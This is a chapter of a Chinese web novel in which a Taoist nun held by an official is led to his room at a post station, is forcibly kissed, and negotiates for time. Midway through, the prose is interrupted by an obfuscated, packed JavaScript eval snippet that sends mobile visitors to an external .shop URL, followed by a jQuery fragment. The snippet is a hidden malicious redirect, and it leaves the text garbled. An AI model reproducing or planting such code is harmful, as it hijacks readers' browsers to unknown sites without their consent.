驿站很快到了,这次领她下车的却不是见惯了的元辞。
“道长,驿站到了,我是元骁,有什么事道长只管吩咐我。”
元骁不知道他家郎君为什么绑了个道士过来,他想问问元辞,但元辞也支支吾吾的,还让他不要瞎打听,过一阵自然就明白了。
神神秘秘地,不过想来郎君自有谋划,说什么他照办就是了。
舒晏打量着眼前的男子,看起来就没有元辞聪明,这让她心中稍稍宽慰了些。
要是一个个心眼都像卫恪焉这么多,就不好跑路了。
思及此,她面上带了些笑:“麻烦元善信了,还不知我们这是要往哪去呢?”
元骁回道:“我们现下是往浔川郡去办案,等差事结了,我们再回祖宅给老太太过寿。”
浔川郡?她有些出神。
她师父曾经在此处云游过。师父对她提过,那边景色很好,民风淳朴,是个鱼米之乡,也不知卫恪焉过去是要办什么差事。
舒晏暗自盘算着,觉得情况或许没有那么糟糕。
浔川郡水路发达,若是得了机会从那去京城,顺风走水路三日内就能到。
元骁没有在意栖尘道长的走神,他说:“道长可先入上舍安歇,稍后驿站的女侍自会引道长梳洗用膳。”
舒晏依言下了马车,往驿站走去。
元骁看着她的背影,觉得郎君实在是多虑了。
这个小道姑容色恬静,行止柔顺,纵然此时被他们抓了起来,也没见躁怒,指不定也是想投靠卫家的。
郎君竟然派他看着这个小道姑,真是大材小用。
这驿馆青砖围垣,朱门敞阔。院中青石铺地,厢房齐整,一看就是官家驿馆。
她下车的时候比之旁人晚了些,侍卫们已经各自修整,院中只剩些马匹在驿卒的牵引下温顺地吃草。
驿站的女侍态度恭敬,将她引至房间门口,见她婉拒了贴身伺候,这才转身离开。
舒晏打开房门,走了进去,却见里面雾气缭绕,她想着大约是驿站贴心,已经打好了水,也就不以为怪。
她也是累极了,即使在马车上一直昏迷躺着,也觉得如今浑身酸痛,好似挨了顿打。
身体疲惫,精神紧张的她,现在只想舒舒服服地洗个澡。
到底是官家驿馆的上舍,屋内陈设简单却贵气,香炉内还有刚点不久的沉香,绵软浮动的烟气让舒晏心神渐渐舒缓。
等她往客舍里间走去,见着屏风上已然挂上了衣服,又听见了水声,才意识到有些不对劲。
或许是女侍带错了房间。
她扭身欲走,但那厢浴桶里的人却是听到了声响,哗啦啦的水声响起。
他长腿一迈,扣住了她的手腕。
那女侍竟是把她带进了卫恪焉的房间。
还未等她开口说什么,那卫恪焉竟是湿淋淋地从背后抱着她,潮湿的热气在她脖颈处盘旋。
“娘子主动来找我,可是想通了?”
舒晏挣扎着想要从他的怀里出来,却没挣得动,“卫善信误会了,应是我走错了房间,我这就出去。”
卫恪焉却不放过她,他将舒晏的身体转过来,正面对着他:“我先前对你说的,你仔细思量了没有?”
他颇有几分欢欣,没想到栖尘这么快就想通了。
他的衣服还没来得及穿戴整齐,松松垮垮的,露出白花花的一片。
舒晏忙不迭地闭上了眼睛,回道:
“善信的好意我心领了,可我修道数载,心中并无男女之情,若教我一朝入红尘,实在是强人所难。”
她忽视卫恪焉骤然黑下来的神色,虽被他盯得有些头皮发麻,但还是继续说:
“贫道仔细考虑后,或许还有别的解决办法。”
“如今郎君既不愿放我走,怕我泄露机要。不若我就以道士身份跟在善信身边,待到善信成了事,我再离开。”
卫恪焉眼神晦暗不明,轻笑了一声,“你倒真是个死心眼的。”
他低下头,不再克制自己,顺从自己的内心,狠狠地吻上了那总是让他生气的唇。
本来是带着惩罚意味的吻,反应最大的却是那个施加这个惩罚的人。
细碎的喘息,一声声的从他的嘴里漫溢出来,落在彼此的耳畔。
卫恪焉虽见过不少风月事,自己却没有和其他人亲密过,更别说是吻了。
他没想到道长的唇竟然比梦中的还要软,这让他有一瞬间脑子里一片空白。
还好,身体的反应比脑子来得更快,他情不自禁地要的更多。
他轻轻地吮吸着她的唇,舌尖不急不徐地描摹着她的唇形,试探着顶入她的口中。
“唔…”舒晏很想咬他,但她根本不敢张嘴。
她几乎都不能呼吸了,但还记着咬紧牙关,不肯让卫恪焉进来。
这个贱人!
说话就说话,犯什么疯病去亲人,是狗吗?
舒晏被挤压得有些眩晕,一时不察竟教他钻了空子。
卫恪焉强势地挤入,逼迫她与他一起就纠缠。
一吻毕,两人都有些气息不稳。
舒晏觉得卫恪焉渐渐卸了力道,她逮着机会忙推开了他。
她没用几分力气,就将他推了一个趔趄。
明明是他强迫的她,他倒是眼神涣散,面露潮红,身体微微颤抖似承受不住般的喘着气。
他平添了几缕艳色,全无以往君子端方的姿态,反倒像个吸人精魄的妖怪。
舒晏莫名有些怕了。
但她几番斟酌下,还是开了口:
“道经里有言,下尸虫在人腹中,专催淫邪。善信见我起念,其实只不过是虫在进食,换张美人面,也是一样的,善信何必执着于贫道。”
卫恪焉目光直直地看向她,“道长这是什么意思?”
“难道栖尘你方才是无知无觉的吗?”
他抚上舒晏的唇,“那按你道家所言,你我方才皆是被下尸虫控制的是吧?”
“那我腹中的下尸虫好生厉害。”他复又贴近,还想继续。
舒晏却侧开了头。
他眸色沉了沉,抓住她的手贴在他的腹部,“栖尘道长道法高深,何不帮我将其取出。”
舒晏被卫恪焉偏执的语气吓得退后了几步。
“下尸虫只有自身克制,旁人无法帮助的。”
“栖尘对我不要老是说这些有的没的,骗骗你自己也就算了,还想来唬我。”
他的指尖在舒晏的掌心不急不徐地打着圈,眼睛紧紧的盯着她。
“这次可是你自己进我的屋,是你先来招我的,如今看光了我,总该有个说法。”
他的头轻靠在舒晏柔软的肩颈处,呼吸打在她的耳畔,“现在说些下尸虫,就想把责任归我,自己抽身去了吗?”
舒晏只觉得卫恪焉十分难缠,他就像个蜘蛛一样,把她牢牢地网在这里。
“这次是我的错,只是…只是还请郎君再宽限我些许时间。”舒晏拖延道。
“那栖尘觉得多久合适?”卫恪焉说。
察觉到卫恪焉的唇一下一下的点在她的颈侧,舒晏梗起脖子回道:
“不若等郎君办完案,待我们回珞郡,等我行了还俗礼。到时我心中没了挂碍,我自是愿意陪在郎君身边的。”
她正了脸色,推开了卫恪焉补充道:“只是也希望郎君在我行还俗礼之前,能守礼相待于我。”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17699449|208090||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
被推开后卫恪焉觉得心中空了一下,但听得栖尘应承了下来,他又高兴起来。
他略一思忖,端端正正地向舒晏一拜,“栖尘道长安好。”
“那我们便是说好了,待到差事结束,栖尘便还了俗,与我朝夕相伴,望道长莫要失信。”
卫恪焉打量着栖尘的神色,心中松快了几分,只要松口答应下来了就好。
他还真有些担心把这个小古板逼急了殉道。
舒晏勉强一笑,“不会的。”
水汽氤氲,连带着暧昧也不消散。
卫恪焉虽放开了她,眼神却还盯在她身上。
舒晏也不敢立刻就跑,为展现她的诚意,她拿起一旁的细麻布巾,站到了铜镜前。
“我来帮郎君擦头发吧。”
卫恪焉心中微漾,他拢了拢衣襟,顺从地坐了下来。
他看着镜子中正专注给他擦头发的女子,恍然间觉得他们二人就是这世间一对举案齐眉的夫妻。
她的气息包围着他,头顶能感受到她呼吸拂过发丝的触感,耳后是她偶尔指节擦过带来的温热。
擦着擦着,卫恪焉的呼吸渐渐变得急促。
他拿下舒晏手中的布巾,沉声道:“剩下的我自己擦,你且回房间洗漱吧,一会我们一起用膳。”
舒晏听着卫恪焉的声音里似乎有些沉,她只当他想一出是一出,又犯病了。
不要她擦,她还乐得自在呢。
这下舒晏终于离开了这间房,她把女侍喊来问为什么把她领到这间屋。
那女侍面露错愕,“我以为娘子和卫书郎是一起的。”
她连忙道歉,将舒晏领到了另一间房,舒晏虽生气,但也没再难为她。
新的房间虽没有卫恪焉的房间大,但比道观要强上许多。
不一会,侍女给她送来了两件衣服,一件是道袍,一件是时下的女装。
她洗漱完,稍稍迟疑了下,还是拿起了道袍。
道袍还是能够提醒卫恪焉,让他想起她明面上还是一个出家人,至少在回珞郡前,不要再乱动一些念头。
吃饭时,卫恪焉见舒晏穿的是道袍,眼神暗了一瞬,倒也没说什么。
这顿饭吃得安安静静,卫恪焉见舒晏的筷子只伸向在她面前的几道菜,冷不丁把他手中的筷子放了下来。
舒晏拿着筷子的手顿了顿,只以为他又发起了神经。
却见那卫恪焉拿起了公筷给她布菜。
舒晏总觉得有几分诡异,卫恪焉夹什么,她就默默的吃了下去,一直到舒晏向他示意吃饱了,卫恪焉才停下开始吃自己的饭。
舒晏吃饱了也不好直接走,在一旁干坐着,莫名有些尴尬。
于是她也拿起公筷,给卫恪焉夹了菜。
他顿了顿,倒也都吃完了。两人吃完饭也没说话,各自回到房间睡觉去了。
翌日清晨,驿站外的林子里,一群翠鸟在叽叽喳喳叫个不停,扰得人难睡个好觉。
至少元辞和元骁都没有休息好。
“这驿站怎么回事,也不晓得把这些鸟撵走,一大早的就在那叫个不停。”元骁抱怨道。
“客官见谅,是我们疏忽了。往日里是没有这么多的。”那店家见此忙赔不是。
舒晏或是心中有了底,精神好了些,看起来睡得不错,“现下这些鸟倒是没了声了,许是准备迁徙来这落个脚,店家也没法子预料。”
这时卫恪焉从楼上下来,众人忙都噤了声。
“准备走吧。”他吩咐道。
人散了,马走了,喧闹的驿站又变得静悄悄。
只有一只落单的小青鸟,立在窗边摇头晃脑,随后不紧不慢地从舒晏的房中飞了出来。